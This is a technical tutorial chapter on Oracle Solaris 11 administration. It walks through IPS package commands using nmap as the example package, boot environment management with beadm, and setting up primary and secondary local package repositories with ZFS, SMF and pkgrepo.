In this chapter, we will cover the following topics:
Determining the current package publisher
Listing and collecting the information and dependencies of a package
Installing a package, verifying its content, and fixing the package corruption
Managing the IPS history and freezing and uninstalling packages
Discovering the IPS Package Manager interface
Creating, activating, and destroying a boot environment
Listing and renaming a boot environment
Configuring an IPS local repository
Configuring a secondary IPS local repository
Publishing packages into a repository
Adding big applications into a repository
Creating your own package and publishing it
Managing an IPS publisher on Solaris 11
Pinning publishers
Changing the URI and enabling and disabling a publisher
Creating a mirror repository
Removing a repository and changing the search order
Listing and creating a boot environment
Mounting, unmounting, installing, and uninstalling a package in an inactive boot environment
Activating a boot environment
Creating a boot environment from an existing one
As you already know, Oracle Solaris 11 has undergone many changes and now provides a framework to manage packages named Image Packaging System (IPS). This new framework makes an administrator's life easier when he or she needs to add, remove, collect, and administer any software packages. By default, Oracle offers a repository (a large group of packages) on the Web at http://pkg.oracle.com/solaris/release/, and this is the default Oracle Solaris 11 repository. Using this repository, we will be able to install any package from the Internet, and as we are going to learn soon, it's feasible to create a local repository (like the default one) on our own Oracle Solaris 11 installation to improve the security and performance of our environment. Moreover, we can configure Oracle Solaris 11 to hold more than one repository as the source of the packages.
Going beyond IPS, Oracle Solaris 11 uses boot environments (BEs) to assist us in making an Oracle Solaris 11 upgrade without any risk to current data, because the update process creates a new BE before proceeding to the package update process. This new BE will be shown in the next reboot on the GRUB menu, and from there, we will be able to choose either the new BE (updated Solaris) or the old one. BEs will come in handy in other areas when handling the Oracle Solaris 11 administration.
When administering IPS on a Solaris 11 system, the first thing we need to do is find out the current package publisher because initially, it will be the source that our system will install or update a package from.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we need to log in to this system as the root user and open a terminal.
To list the existing publishers, we execute the following:
[email protected]:/# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/
According to the output, the Oracle package URI and repository (http://pkg.oracle.com/solaris/release/) is the source of the packages and updates (named as origin), and it isn't proxied (when P equals F, the proxy is set to false).
To collect additional information about the publisher of the packages, we type the following:
[email protected]:~# pkg publisher solaris Publisher: solaris Alias: Origin URI: http://pkg.oracle.com/solaris/release/ SSL Key: None SSL Cert: None Client UUID: f7cdfbf2-0292-11e2-831b-80144f013e20 Catalog Updated: September 12, 2013 04:22:26 PM Enabled: Yes
Using the main command, pkg, with the publisher keyword, we've found a list of publishers and that the solaris publisher is online, and a URI is enabled that points to the repository location, which is http://pkg.oracle.com/solaris/release/. Furthermore, there is no SSL digital certificate associated with the solaris publisher.
To demonstrate how simple it is to administer packages, let's explore a useful example where we install a package on Oracle Solaris 11.
First, we need to know which package we want to install. However, before installing any package, we need to confirm whether this package is already installed on the system by running the following command:
[email protected]:~# pkg list nmap pkg list: no packages matching 'nmap' installed
As we can see, the nmap package (scanning tool) isn't installed on Oracle Solaris 11; we can verify that this tool is available from the official source repository (solaris, according to the previous publisher list). Furthermore, before accomplishing this step, it's suggested that we rebuild repository indexes (mainly if you don't remember when a package was inserted or removed the last time) to speed up the lookup process later:
[email protected]:~# pkg rebuild-index PHASE ITEMS Building new search index 847/847
It's time to search for the nmap package. We do this with the following command:
[email protected]:~# pkg search nmap INDEX ACTION VALUE PACKAGE pkg.description set Nmap is useful for inventorying the network, managing service upgrade schedules, and monitoring host or service uptime. pkg:/diagnostic/[email protected] basename file usr/bin/nmap pkg:/diagnostic/[email protected] pkg.fmri set solaris/diagnostic/nmap pkg:/diagnostic/[email protected] basename dir usr/share/nmap pkg:/diagnostic/[email protected]
We can confirm that nmap is available and isn't installed on the system, but a bit more information about the package won't hurt us. An easy way to know whether the nmap package is installed or not is by executing the following command:
[email protected]:~# pkg list -af nmap NAME (PUBLISHER) VERSION IFO diagnostic/nmap 5.51-0.175.1.0.0.24.0 ---
If the last column (IFO) doesn't have an i flag, then we can verify that the package isn't installed. We can also obtain complementary information about nmap by typing the following command:
[email protected]:~# pkg info -r nmap Name: diagnostic/nmap Summary: Network exploration tool and security / port scanner. Description: Nmap is useful for inventorying the network, managing service upgrade schedules, and monitoring host or service uptime. Category: System/Administration and Configuration State: Not installed Publisher: solaris Version: 5.51 Build Release: 5.11 Branch: 0.175.1.0.0.24.0 Packaging Date: September 4, 2012 05:17:49 PM Size: 12.28 MB FMRI: pkg://solaris/diagnostic/[email protected],5.11-0.175.1.0.0.24.0:20120904T171749Z
This last command is important because we've collected valuable attributes about the nmap package, such as its state (Not installed) and size (12.28 MB). The -r option is necessary because it references a package in the repository from registered publishers. We can show Nmap's license agreement in the same way:
[email protected]:~# pkg info -r --license nmap Oracle elects to use only the GNU Lesser General Public License version 2.1 (LGPL)/GNU General Public License version 2 (GPL) for any software where a choice of LGPL/GPL license versions are made available with the language indicating that LGPLv2.1/GPLv2 or any later version may be used, or where a choice of which version of the LGPL/GPL is applied is unspecified. …..........
Sometimes, it's advisable to know which packages are required to install a specific package (such as nmap) before you are able to try it. We can verify this by executing the following command:
[email protected]:~# pkg contents -r -o fmri,type -t depend nmap FMRI TYPE pkg:/library/[email protected] require pkg:/library/python-2/[email protected] require pkg:/library/python-2/[email protected] require pkg:/library/security/[email protected] require pkg:/runtime/[email protected] require pkg:/runtime/[email protected] require pkg:/system/library/[email protected] require pkg:/system/library/[email protected] require pkg:/system/library/[email protected] require pkg:/system/[email protected] require
We can also reach the same result by executing the following command:
[email protected]:~# pkg contents -r -o action.raw -t depend nmap ACTION.RAW depend fmri=pkg:/library/python-2/[email protected] type=require depend fmri=pkg:/system/library/[email protected] type=require depend fmri=pkg:/library/security/[email protected] type=require depend fmri=pkg:/runtime/[email protected] type=require depend fmri=pkg:/system/library/[email protected] type=require depend fmri=pkg:/system/[email protected] type=require depend fmri=pkg:/runtime/[email protected] type=require depend fmri=pkg:/library/[email protected] type=require depend fmri=pkg:/system/library/[email protected] type=require depend fmri=pkg:/library/python-2/[email protected] type=require
The –t option specifies action.raw, which is used to limit the search to a specific attribute, such as depend. The –r option matches packages based on the newest available version and gets information about noninstalled packages, and the -o option limits the columns to be shown in the output.
We have a list of required packages to install a new package such as nmap, and all the packages are shown as require; however, this command would have shown as optional if we were managing another package.
The previous commands have verified that if a specific package is already installed (nmap), it reindexes the package catalog (to speed up the search) and collects details about the package. Furthermore, we've listed the decencies of the nmap package. We will notice that the number of packages that were indexed (847) is very high, and that's the main reason this operation takes some time.
This time, we have sufficient conditions to install a package and verify its contents, and if we find a problem with any package, we are able to fix it. This is an exciting section because it will introduce us to many useful commands, and all of them are used in day-to-day Solaris 11 administration.
We'll learn the next procedure using the nmap package, but the same can be done using any other Solaris 11 package.
We execute the following command:
[email protected]:~# pkg install -v nmap Packages to install: 1 Estimated space available: 71.04 GB Estimated space to be consumed: 51.67 MB Create boot environment: No Create backup boot environment: No Services to change: 1 Rebuild boot archive: No Changed packages: solaris diagnostic/nmap None -> 5.51,5.11-0.175.1.0.0.24.0:20120904T171749Z Services: restart_fmri: svc:/application/desktop-cache/desktop-mime-cache:default DOWNLOAD PKGS FILES XFER (MB) SPEED Completed 1/1 523/523 3.3/3.3 24.1k/s PHASE ITEMS Installing new actions 581/581 Updating package state database Done Updating image state Done Creating fast lookup database Done
According to the output, Solaris 11 didn't create a BE. Sure, it was a very simple package installation. However, if we had installed a Solaris patch, the scenario would have been very different. We can check our installation by typing the following command:
[email protected]:~# pkg list nmap NAME (PUBLISHER) VERSION IFO diagnostic/nmap 5.51-0.175.1.0.0.24.0 i--
The last column shows us that the package has been installed, so to show the content of our installation, we type the following:
[email protected]:~# pkg contents nmap PATH usr usr/bin usr/bin/ncat usr/bin/ndiff usr/bin/nmap usr/bin/nmapfe usr/bin/nping usr/bin/xnmap usr/bin/zenmap usr/lib usr/lib/python2.6 usr/lib/python2.6/vendor-packages usr/lib/python2.6/vendor-packages/radialnet usr/lib/python2.6/vendor-packages/radialnet/__init__.py usr/lib/python2.6/vendor-packages/radialnet/__init__.pyc …......................
We can use an alternative form, with presentation of additional information, by running the following command:
[email protected]:~# pkg contents -t file -o owner,mode,pkg.size,path nmap OWNER MODE PKG.SIZE PATH root 0555 166228 usr/bin/ncat root 0555 48418 usr/bin/ndiff root 0555 1540872 usr/bin/nmap root 0555 608972 usr/bin/nping root 0555 6748 usr/bin/zenmap …...................
Additionally, every package has an associated file named manifest, which describes details such as the package content, its attributes, and dependencies. We can view this manifest file of an installed package using the following command:
[email protected]:~# pkg contents -m nmap | more set name=pkg.fmri value=pkg://solaris/diagnostic/[email protected],5.11-0.175.1.0.0.24.0:20120904T171749Z set name=pkg.debug.depend.bypassed value=usr/lib/python2.6/vendor-packages/zenmapGUI/SearchWindow.py:.* set name=variant.arch value=i386 value=sparc set name=org.opensolaris.consolidation value=userland set name=org.opensolaris.arc-caseid value=PSARC/2007/129 set name=info.upstream-url value=http://insecure.org/ set name=info.source-url value=http://nmap.org/dist/nmap-5.51.tgz set name=pkg.summary value="Network exploration tool and security / port scanner." set name=info.classification value="org.opensolaris.category.2008:System/Administration and Configuration" …................................................ …...............................................
Tip
You might wonder whether it is possible to check whether a package installation has kept its integrity. Yes, you can manage this issue using the following command:
[email protected]:~# pkg verify -v nmap PACKAGE STATUS pkg://solaris/diagnostic/nmap OK
Let's create a simple test where we break any file from the nmap package; afterwards, we check the package status by running the following command:
[email protected]:~# find / -name nmap /usr/bin/nmap
We continue further by executing the following commands:
[email protected]:~# mkdir /backup [email protected]:~# cp /usr/bin/nmap /backup/ [email protected]:~# echo GARBAGE > /usr/bin/nmap [email protected]:~# pkg verify -v nmap PACKAGE STATUS pkg://solaris/diagnostic/nmap ERROR file: usr/bin/nmap Unexpected Exception: Request error: class file/memory mismatch
Wow! The command used to detect the nmap package corruption detected the exact problem. We can fix this potential problem in a very simple and quick way:
[email protected]:~# pkg fix nmap Verifying: pkg://solaris/diagnostic/nmap ERROR file: usr/bin/nmap Unexpected Exception: Request error: class file/memory mismatch Created ZFS snapshot: 2013-10-10-22:27:20 Repairing: pkg://solaris/diagnostic/nmap Creating Plan (Evaluating mediators): \ DOWNLOAD PKGS FILES XFER (MB) SPEED Completed 1/1 1/1 0.5/0.5 97.0k/s PHASE ITEMS Updating modified actions 1/1 Updating image state Done Creating fast lookup database Done
During the nmap package installation, we realized that it takes 51.67 MB after it is installed and that it hasn't created a new BE. In the remaining commands, we found out a lot of information; for example, the files are contained in the nmap package, this package runs on x86 or SPARC, it comes from the Solaris repository and has been developed by http://insecure.org, its source file is nmap-5.51.tgz, and it only runs on userland. Afterwards, we verified the nmap integrity, corrupted it, and fixed it.
Auditing is another current concern for companies, and most times, it's very helpful to know which package operations have happened recently. Furthermore, we're going to learn a way to drop the IPS command history.
To gather this information, we execute the following command:
[email protected]:~# pkg history START OPERATION CLIENT OUTCOME 2012-09-19T16:48:22 set-property transfer module Succeeded 2012-09-19T16:48:22 add-publisher transfer module Succeeded 2012-09-19T16:48:22 refresh-publishers transfer module Succeeded 2012-09-19T16:48:22 image-create transfer module Succeeded 2012-09-19T16:48:30 rebuild-image-catalogs transfer module Succeeded 2012-09-19T16:48:36 set-property transfer module Succeeded 2012-09-19T16:48:37 install transfer module Succeeded 2012-09-19T17:30:12 update-publisher transfer module Succeeded 2012-09-19T17:30:12 refresh-publishers transfer module Succeeded 2012-09-19T17:30:16 rebuild-image-catalogs transfer module Succeeded 2013-10-05T20:58:30 uninstall transfer module Succeeded 2013-10-05T21:42:06 refresh-publishers pkg Succeeded 2013-10-05T21:42:06 install pkg Failed 2013-10-05T21:42:14 rebuild-image-catalogs pkg Succeeded 2013-10-07T17:40:53 install pkg Succeeded 2013-10-07T18:31:03 uninstall pkg Succeeded 2013-10-07T19:06:14 install pkg Succeeded
We don't always need or want to keep the history of our actions; Oracle Solaris 11 allows us to erase the history by running a simple command:
[email protected]:~# pkg purge-history History purged.
From time to time, Oracle Solaris 11 packages undergo updates, and we know it's advisable to update packages when there's a new version available. Updates can be checked using the following command:
[email protected]:~# pkg update nmap No updates available for this image
Nonetheless, it needs to be highlighted that if we execute pkg update, the entire system will be updated.
In a rare situation, we might be required to freeze a package to prevent an update. This intervention, although very unlikely, is suitable when we have to keep a very specific software version in the system even when it is executing an update command, such as pkg update, to modify this content. The following command is used for freezing:
[email protected]:~# pkg freeze diagnostic/nmap diagnostic/nmap was frozen at 5.51-0.175.1.0.0.24.0:20120904T171749Z
In the same way, we can change our mind and unfreeze the nmap package by executing the following command:
[email protected]:~# pkg unfreeze diagnostic/nmap diagnostic/nmap was unfrozen.
Before we continue, we can use a nice trick to update Nmap again without using the pkg update nmap command. A facet represents an optional software component, such as the locale property, while variants represent a mutually exclusive software component (an x86 component against a SPARC component).
A package has an associated action and a facet is defined as a tag of the package's action. So, when the version.lock facet is set to the true value (no matter the value that was set previously), the IPS framework checks whether a new version of the package is present on the repository:
[email protected]:~# pkg change-facet facet.version-lock.diagnostic/nmap=true Packages to update: 849 Variants/Facets to change: 1 Create boot environment: No Create backup boot environment: Yes PHASE ITEMS Updating image state Done Creating fast lookup database Done
Note
If you want to learn more about variants and facets, refer to Controlling Installation of Optional Components from the Adding and Updating Oracle Solaris 11.1 Software Packages manual at http://docs.oracle.com/cd/E26502_01/html/E28984/glmke.html#scrolltoc.
Finally, to finish our review of the IPS administration, an essential factor when administering packages is to know how to uninstall them:
[email protected]:~# pkg uninstall nmap Packages to remove: 1 Create boot environment: No Create backup boot environment: No Services to change: 1 PHASE ITEMS Removing old actions 598/598 Updating package state database Done Updating package cache 1/1 Updating image state Done Creating fast lookup database Done [email protected]:~# pkg list nmap pkg list: no packages matching 'nmap' installed
It's possible to list all the actions performed by the administrator that have succeeded or failed on the IPS framework using the
pkg history command, including the exact time when the pkg command was executed. This sure is a nice feature if we want to initiate an audit. There's a command called pkg purge-history that erases all history and must only be executed by the root user. We also learned about pkg freeze, which prevents Oracle Solaris 11 from updating a particular package. Finally, we've seen how easy it is to uninstall a package using pkg uninstall.
Some administrators prefer using GUI to administer areas of Oracle Solaris 11. This might be your preference, as well, and for this, there's Package Manager GUI, which is a well-made interface that makes it possible to accomplish almost every package administration. Personally, I believe it's a very neat tool if you want to view all available packages from the repository; when I need to install many packages at once, it makes the job easier.
Although the Package Manager GUI has multiple handy features, we won't discuss any of these characteristics here. If you want to know more about the graphical interface, I'm sure you will be able to explore and learn it on your own.
I always like to ask this question with respect to BEs: what are the facts that make life easier when administering Oracle Solaris 11?
Maybe the answers aren't so difficult; to prove this, let's imagine a scenario. We are requested to update Oracle Solaris 11, and to do this, we need to reboot the system, insert the Oracle Solaris 11 installation DVD, and during the boot, we have to choose the upgrade option. Is the upgrade complete? Is there no further problem? Unfortunately, this is not true because there are some potential tradeoffs:
We had to stop applications and reboot the operating system, and users had to stop work on their tasks
If there was trouble upgrading the Oracle Solaris operating system, we'll lose all old installation because the upgrade process will have overwritten the previous version of Oracle Solaris; consequently, we won't be able to reboot the system and go back to the previous version
As you will have realized, this is a big threat to administrators because in the first case, we had a working (but outdated) system, and in the second case, we risked losing everything (and our valuable job) if anything went wrong. How can we improve this situation?
In Oracle Solaris 11, when we are requested to upgrade a system, Oracle Solaris 11 takes a BE automatically to help us during the process. The boot environment is a kind of clone that makes it possible to save the previous installation, and if anything goes wrong during the upgrade, the boot environment of Oracle Solaris 11 lets us roll back the OS to the old state (installation). One of the biggest advantages of this procedure is that the administrator isn't obliged to execute any command to create a BE to protect and save the previous installation. Oracle Solaris 11 manages the whole process. This has two advantages: the upgrade process gets finished without rebooting the operating system, and the boot environment enables us to roll back the environment if we encounter a problem.
You should know that BEs aren't only used for upgrade operations. Indeed, we can deploy them to patch the system, install an application, or create a test environment. In all of these cases, the BE makes it possible to revert the system to the previous state. So, after we have taken care of these fundamentals, it's time to practice.
Nowadays, professionals are making heavy use of the BE, and this is the true reason that creating, activating, and destroying BEs is most important when administering Oracle Solaris 11. You can be sure that this knowledge will be fundamental to your understanding of Oracle Solaris 11 Advanced Administration.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Additionally, our system must have access to the Internet. Some extra free space might be required.
Without any delay, we execute the following commands:
[email protected]:~# beadm create solaris-backup-1 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created ------------- --------------------------------- ---------- solaris NR / 4.99G static 2013-10-05 20:44 solaris-backup-1 - - 163.0K static 2013-10-10 19:57 solaris-backup-b - - 173.0K static 2013-10-12 22:47
Oracle Solaris 11 automatically creates an entry in the GRUB list and makes it the default choice. However, it is relevant to note that another BE named solaris-backup-b is already present on the system from previous tests and it will be used in some steps ahead.
To enable the solaris-backup-1 BE, execute the following commands:
[email protected]:~# beadm activate solaris-backup-1 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created ----------------------- ------------------------------------ ---------- ------------------------ solaris N / 4.99G static 2013-10-05 20:44 solaris-backup-1 R - 163.0K static 2013-10-10 19:57 solaris-backup-b - - 173.0K static 2013-10-12 22:47
Note the Active column from the last command. The flag for solaris-backup-1 has changed to R, which means that it will be the active boot environment in the next boot. Therefore, it's time to reboot the system and list all the BEs:
[email protected]:~# init 6 [email protected]:~# beadm list BE Active Mountpoint Space Policy Created solaris - - 511.60M static 2013-10-05 20:44 solaris-backup-1 NR / 4.74G static 2013-10-10 19:57 solaris-backup-b - - 173.0K static 2013-10-12 22:47
If we need to destroy a boot environment (not the current one, for sure), we can do so by executing the following command:
[email protected]:~# beadm destroy solaris-backup-b Are you sure you want to destroy solaris-backup-b? This action cannot be undone(y/[n]): y [email protected]:~# beadm list BE Active Mountpoint Space Policy Created solaris - - 247.55M static 2013-10-05 20:44 solaris-backup-1 NR / 4.90G static 013-10-10 19:57
What can we say about GRUB? There is no problem with it because Oracle Solaris 11 automatically removed the BE entry from the existing GRUB configuration.
Creating a new BE is an excellent way to have an additional environment to initially test a new Oracle Solaris 11 patch or operating system upgrade from Oracle. If something goes wrong, we are able to switch back to the old environment without losing any data. Following the creation of the BE, we need to remember to activate the new BE before rebooting the system.
It is surprising that little details can help us with day-to-day administration. We've been using some repository commands since the beginning of the chapter; now, it's time to learn more about related commands.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Additionally, our system must have access to the Internet and some extra free space on disk.
To list existing boot environments is straightforward; we do this by running the following command:
[email protected]:~# beadm list BE Active Mountpoint Space Policy Created ----------------------- ------------------------------------ ---------- ------------------------ solaris NR / 4.99G static 2013-10-05 20:44 solaris-backup-1 - - 163.0K static 2013-10-10 19:57
According to the preceding output, the active BE is solaris (flag N), it'll be used in the next boot (flag R), its size is 4.99 gigabytes, and its Mountpoint is /. There is other information too, but that isn't so relevant now. In this specific example, there's another BE named solaris-backup-1 (if the reader doesn't have a BE with the same name, it's fine to test using the existing solaris BE) that this time has taken up just 163 KB.
Oracle Solaris 11 makes it simple to rename inactive boot environments with the execution of the following commands:
[email protected]:~# beadm rename solaris-backup-1 solaris-backup-a [email protected]:~# beadm list BE Active Mountpoint Space Policy Created ----------------------- ------------------------------------ ---------- ------------------------ solaris NR / 4.99G static 2013-10-05 20:44 solaris-backup-a - - 163.0K static 2013-10-10 19:57
The listing and renaming of a BE is fundamental to handling and managing it. The beadm list command shows us the directory that each BE is mounted on and the space that it takes. After Oracle Solaris 11 automatically creates a BE (the first one) during installation, we are able to find out when the operating system was installed. Renaming a BE is a complementary step that helps us comply with the name policy and makes administration easier.
It is convenient to install packages from the official Oracle repository, but access to the Internet could become very intensive if in the company, there are a lot of installed machines with Oracle Solaris 11 that repeat the same routine to install packages. In this case, it is very handy to create a local IPS repository with the same packages from the official repository but have them available on a local network.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Additionally, our system must be able to access the Internet. There are further requirements, such as extra disk (physical or virtual), to create a Z File System (ZFS), and we have to download the repository image.
To download the repository image, go to http://www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html, click on Create a Local Repository, and download all the available parts (at the time of this writing, there are four parts). Extract and concatenate them by executing the following:
[email protected]:~# cat part1 part2 part3 part4 ... > solaris-11-repo-full.iso
We can create the repository in a separated disk to get some performance and maintenance advantage. Indeed, we aren't obliged to do this, but it is greatly recommended. To list the disks that are available (the format command), we create a new pool and then a new ZFS filesystem in this pool, and execute the following command:
[email protected]:~# format Searching for disks...done AVAILABLE DISK SELECTIONS: 0. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB> /[email protected],0/pci1000,[email protected]/[email protected],0 1. c8t1d0 <VBOX-HARDDISK-1.0 cyl 2086 alt 2 hd 255 sec 63> /[email protected],0/pci1000,[email protected]/[email protected],0 Specify disk (enter its number): 1 selecting c8t1d0 [disk formatted] No Solaris fdisk partition found.
We realize that if the second disk (c8t1d0) doesn't have any partitions, then the following sequence of commands creates a pool (the zpool create command). We list it (the zpool list command) and create a new ZFS filesystem (the zfs create command), as follows:
[email protected]:~# zpool create repo_pool c8t1d0 [email protected]:~# zpool status repo_pool pool: repo_pool state: ONLINE scan: none requested config: NAME STATE READ WRITE CKSUM repo_pool ONLINE 0 0 0 c8t1d0 ONLINE 0 0 0 errors: No known data errors [email protected]:~# zfs create repo_pool/repoimage [email protected]:~# zfs list repo_pool/repoimage NAME USED AVAIL REFER MOUNTPOINT repo_pool/repoimage 31K 15.6G 31K /repo_pool/repoimage
It's time to use the repository image (solaris-11-repo-full.iso from the Getting ready section) to create our local repository, and to do this, we need to mount this image and copy all of its contents (about 6.8 GB) to the repository filesystem that we created. Therefore, in the first step, we create a mount point:
[email protected]:~# mkdir /software
Now, we create a device file that points to the repository image using the lofiadm command and mount it:
[email protected]:~# lofiadm -a sol-11-repo-full.iso /dev/lofi/1 [email protected]:~# mount -F hsfs /dev/lofi/1 /software
To copy the image content to the local repository, we run the following:
[email protected]:~# rsync -aP /software/repo /repo_pool/repoimage [email protected]:/repo_pool/repoimage# ls -al total 37 drwxr-xr-x 3 root root 6 Oct 15 19:31 . drwxr-xr-x 3 root root 3 Oct 14 19:25 .. -rw-r--r-- 1 root root 3247 Sep 20 2012 COPYRIGHT -rwxr-xr-x 1 root root 1343 Sep 20 2012 NOTICES -rw-r--r-- 1 root root 7531 Sep 28 2012 README drwxr-xr-x 3 root root 4 Sep 19 2012 repo
Configure the repository server service in Service Management Facility (SMF). If you still aren't comfortable with SMF, I suggest reading Chapter 5, Playing with Oracle Solaris 11 Services, later. So, the use of the svcprop command makes it possible to verify some service properties. Likewise, the svccfg command is appropriate if you wish to change a specific property from a service.
To verify what the current repository directory is, we execute the following command:
[email protected]:~# svcprop -p pkg/inst_root application/pkg/server /var/pkgrepo
We change the repository directory and make it read-only by running the following command:
[email protected]:~# svccfg -s application/pkg/server setprop pkg/inst_root=/repo_pool/repoimage/repo [email protected]:~# svccfg -s application/pkg/server setprop pkg/readonly=true
We quickly check our changes by running the following:
[email protected]:~# svcprop -p pkg/inst_root application/pkg/server /repo_pool/repoimage/repo
To avoid a TCP port collision with any existing service that is configured on port 80, we change it to 9999:
[email protected]:~# svccfg -s application/pkg/server setprop pkg/port=9999
Now, we reload the repository configuration, start it, and then index the repository catalog for a better package search operation:
[email protected]:~# svcadm refresh application/pkg/server [email protected]:~# svcadm enable application/pkg/server [email protected]:~# svcs | grep -i pkg/server online 20:06:43 svc:/application/pkg/server:default [email protected]:~# pkgrepo refresh -s /repo_pool/repoimage/repo Initiating repository refresh.
We list the current configured publisher and configure Oracle Solaris 11 for a new one:
[email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ [email protected]:~# pkg set-publisher -G '*' -g http://solaris11.example.com solaris
We need to take care. In the preceding command, the -G option removed any existing origins (repositories) of the solaris publisher, and the -g option set a new URI that points to the local repository of the same publisher (solaris). Furthermore, the URL, solaris.example.com, points to the local system address of the repository machine (it could be 127.0.0.1).
We now have the opportunity to test our new repository:
[email protected]:~# pkg search nmap INDEX ACTION VALUE PACKAGE pkg.description set Nmap is useful for inventorying the network, managing service upgrade schedules, and monitoring host or service uptime. pkg:/diagnostic/[email protected] basename dir usr/share/nmap pkg:/diagnostic/[email protected] basename file usr/bin/nmap pkg:/diagnostic/[email protected] pkg.fmri set solaris/diagnostic/nmap pkg:/diagnostic/[email protected] [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://solaris11.example.com/ [email protected]:~# pkgrepo info -s /repo_pool/repoimage/repo PUBLISHER PACKAGES STATUS UPDATED solaris 4401 online 2012-09-27T22:22:59.530981Z
Wow! We've listed the configured publishers and changed the solaris publisher URI. Additionally, we are able to collect more information about the local repository by running the following command:
[email protected]:~# pkgrepo get -s /repo_pool/repoimage/repo SECTION PROPERTY VALUE publisher prefix solaris repository description This\ repository\ serves\ a\ copy\ of\ the\ Oracle\ Solaris\ 11.1\ Build\ 24b\ Package\ Repository. repository name Oracle\ Solaris\ 11.1\ Build\ 24b\ Package\ Repository repository version 4
We can change any attribute of the repository, and afterwards, verify our changes by executing the following command:
[email protected]:~# pkgrepo set -s /repo_pool/repoimage/repo repository/description="My local Oracle Solaris 11 repository" repository/name="LOCAL SOLARIS 11 REPO" [email protected]:~# pkgrepo get -s /repo_pool/repoimage/repo SECTION PROPERTY VALUE publisher prefix solaris repository description My\ local\ Oracle\ Solaris\ 11\ repository repository name LOCAL\ SOLARIS\ 11\ REPO repository version 4
Sometimes, we'll need to update our local repository from a reliable and updated source (Oracle). We execute the following command to accomplish this task:
[email protected]:~# pkgrecv -s http://pkg.oracle.com/solaris/release/ -d /repo_pool/repoimage/repo '*' Processing packages for publisher solaris ... Retrieving and evaluating 4401 package(s)... PROCESS ITEMS GET (MB) SEND (MB) Completed 7/7 241.2/241.2 617.1/617.1
By contrast, the most impressive fact is that we could have used this same command to copy the entire repository from the official Oracle repository at the beginning of this recipe instead of downloading the entire repository, concatenating the parts, creating a device using the lofiadm command, executing the rsync command, and so on. I had a personal experience when using this particular command in which, for some reason, there was a download error while I was getting packages. To continue with a download that was initially interrupted, we run the following command:
[email protected]:~# pkgrecv -c -s http://pkg.oracle.com/solaris/release/ -d /repo_pool/repoimage/repo '*'
It's almost the same command, but we use the -c option here instead.
In some situations, we want to access our local repository to get some packages, but by using another interface. To interact with our own repository, we need to open a web browser and navigate to our local repository (in my test environment, the IP address is 192.168.1.133—solaris11.example.com—and the port is 9999):
In the preceding screenshot, we searched for the nmap package, and the interface showed us that the specified package is already installed. If this is the case, we take a separate filesystem to improve the read/write performance.
So far, we've configured only one local repository, but we could have two or more local repositories for distinguished goals, and this would be very useful for a company with independent production and training environments. Let's have a look at the example in the following section.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Additionally, our Solaris 11 system needs to have access to the Internet. Some extra free space on the disk will be required, as well as an Internet browser.
To start with, we create a ZFS filesystem:
[email protected]:~# zfs create repo_pool/training_repo [email protected]:~# zfs list NAME USED AVAIL REFER MOUNTPOINT repo_pool 7.24G 8.39G 35K /repo_pool repo_pool/repoimage 7.24G 8.39G 7.24G /repo_pool/repoimage repo_pool/training_repo 31K 8.39G 31K /repo_pool/training_repo rpool 30.5G 47.8G 4.91M /rpool rpool/ROOT 27.4G 47.8G 31K legacy rpool/ROOT/solaris 16.1G 47.8G 19.7G / rpool/ROOT/solaris-backup-a 11.2G 47.8G 10.6G / rpool/ROOT/solaris-backup-a/var 385M 47.8G 202M /var rpool/ROOT/solaris/var 79.9M 47.8G 213M /var rpool/VARSHARE 54.5K 47.8G 54.5K /var/share rpool/dump 2.06G 47.8G 2.00G - rpool/export 805K 47.8G 32K /export rpool/export/home 773K 47.8G 32K /export/home rpool/export/home/ale 741K 47.8G 741K /export/home/ale rpool/swap 1.03G 47.8G 1.00G -
Once the ZFS filesystem is created, the following step is required to create a repository (an empty one—only the skeleton). We set a publisher and verify that everything went well using the following commands:
[email protected]:~# pkgrepo create /repo_pool/training_repo [email protected]:~# pkgrepo info -s /repo_pool/training_repo PUBLISHER PACKAGES STATUS UPDATED [email protected]:~# pkgrepo set -s /repo_pool/training_repo publisher/prefix=alexandreborges.org [email protected]:~# pkgrepo info -s /repo_pool/training_repo PUBLISHER PACKAGES STATUS UPDATED alexandreborges.org 0 online 2013-10-16T20:18:22.803927Z
Next, we add a new instance of the SMF pkg/server named training and two property groups (using the addpg parameter) with some predefined properties (more about services can be learned from http://docs.oracle.com/cd/E26502_01/html/E29003/docinfo.html#scrolltoc and their respective command manual pages). In the end, we enable the training instance:
[email protected]:~# svccfg -s pkg/server add training [email protected]:~# svccfg -s pkg/server:training addpg pkg application [email protected]:~# svccfg -s pkg/server:training addpg general framework [email protected]:~# svccfg -s pkg/server:training setprop general/complete=astring:\”\” [email protected]:~# svccfg -s pkg/server:training setprop general/enabled=boolean: true
If you recall, we used the port 9999 in the first repository we configured. For this second repository, we configure the port 8888, after which the repository path will be set:
[email protected]:~# svccfg -s pkg/server:training setprop pkg/port=8888 [email protected]:~# svccfg -s pkg/server:training setprop pkg/inst_root=/repo_pool/training_repo
As we did in the first repository, we need to update the index of the second repository and start the new repository instance:
[email protected]:~# svcadm refresh application/pkg/server:training [email protected]:~# svcadm restart application/pkg/server:training [email protected]:~# svcs -a | grep training online 18:09:51 svc:/application/pkg/server:training
We can access the repository using a browser at http://solaris11.example.com:8888:
In this recipe, we learned how to create a second repository, which can be dedicated to accomplishing a different goal from the first repository rather than the one from the previous recipe. The main command from this recipe is pkgrepo, which creates a new local repository to store packages. After that, we configure the SMF framework to offer this new repository automatically and on a planned TCP port.
Certainly, inserting packages into a local repository won't be a very frequent task, but surprisingly, this action saves time. Besides, this topic isn't hard; the process is very interesting because we will learn to handle complex programs such as Veritas Storage Foundations HA.
